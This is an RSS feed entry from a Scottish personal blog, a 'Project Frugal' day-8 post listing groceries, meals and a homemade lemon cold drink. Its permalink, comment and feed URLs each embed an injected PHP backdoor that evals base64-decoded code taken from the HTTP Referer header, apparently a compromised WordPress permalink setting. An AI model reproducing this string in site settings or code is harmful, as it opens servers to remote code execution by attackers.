This Standard Scottish Life » lemsip http://www.thisstandardscottishlife.com Wed, 06 Jan 2010 16:55:35 +0000 http://wordpress.org/?v=2.9 en hourly 1 Project Frugal – day 8 http://www.thisstandardscottishlife.com/2008/11/08/project-frugal-day-8/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2008/11/08/project-frugal-day-8/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 08 Nov 2008 10:37:18 +0000 Sandy http://www.thisstandardscottishlife.com/?p=335 Wot we spent on buying food:

The store cupboard becomes bare.  Supplies required.  It’s off to the supermarket we go.

£19.03 Total so far for this week £19.03 and overall Project Frugal £47.94

Wot we bought:

  • basmati rice
  • litre of organic milk
  • oregano
  • herbes de provence
  • 2 x passata
  • Scottish oatcakes (obviously)
  • organic cheese
  • 2 x jamon de serrano
  • bratwursts
  • 3 x OJ
  • bananas
  • salami
  • macaroni
  • wholemeal bread
  • 2 x Bishops Finger ale.  Hmmm who slipped those in the basket?

Wot we ate:

  • cappuccino
  • OJ
  • 2 slices of toast
  • bratwurst sandwich
  • exotic drink of lemon, grenadine and sugar
  • roast squash, potato salad, mushy peas (yum), bratwurst
  • exotic drink adapted into amazing cure for the cold: lemon, sugar, hot water, ibuprofen

Reflections on frugality

Even when being frugal one can find enough vitamin c to keep the hideous cold at bay.  I wonder if I can sell my exotic drink adapted?  What could I call it?  You sip it, it’s made of lemon … LemSip.  Darn!
]]> http://www.thisstandardscottishlife.com/2008/11/08/project-frugal-day-8/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1